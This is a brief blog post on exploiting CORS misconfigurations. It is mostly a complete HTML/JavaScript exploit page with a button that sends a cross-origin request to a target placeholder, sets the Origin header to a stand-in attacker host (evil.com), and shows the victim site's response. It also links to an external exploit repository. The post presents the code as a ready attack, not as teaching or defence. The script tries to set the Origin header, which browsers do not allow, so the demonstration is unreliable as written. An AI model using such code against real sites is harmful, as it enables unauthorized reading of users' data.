How To Exploit CORS
Cross-Origin Resource Sharing (CORS) is a security feature implemented by web browsers to restrict scripts running on one site from accessing resources on another site. However, misconfigurations in CORS policies can lead to serious security vulnerabilities, allowing attackers to perform unauthorized actions or access sensitive data.
Overview
This blog post explores the CORS misconfiguration vulnerability and provides a demonstration of exploiting it using a simple HTML and JavaScript code snippet.
Understanding CORS Misconfiguration
When a web application fails to properly configure its CORS policies, it may allow requests from any origin to access sensitive resources. This can lead to:
- Unauthorized access to user data
- Cross-site request forgery (CSRF) attacks
- Session hijacking
- Data exfiltration
Exploiting CORS Misconfiguration
Get Full Exploit From: https://github.com/x21enax/CORS-Exploit
HTML and JavaScript Code
The following HTML and JavaScript code demonstrates a CORS exploit:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CORS Exploit</title>
<!-- Bootstrap CSS -->
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<div class="card">
<div class="card-body text-center">
<h1 class="card-title">CORS Exploit</h1>
<p class="card-text">Click the button below to perform the CORS exploit.</p>
<button id="exploitButton" class="btn btn-danger">Exploit</button>
<div id="result" class="mt-3"></div>
</div>
</div>
</div>
<script>
document.getElementById('exploitButton').addEventListener('click', function() {
var xhr = new XMLHttpRequest();
var url = '<Target Link>';
xhr.open('GET', url, true);
xhr.setRequestHeader('Origin', 'https://evil.com');
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
document.getElementById('result').innerText = xhr.responseText;
console.log('Response Headers:', xhr.getAllResponseHeaders());
console.log('Response Text:', xhr.responseText);
}
};
xhr.send();
});
</script>
<!-- Bootstrap JS and dependencies -->
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.4/dist/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
</body>
</html>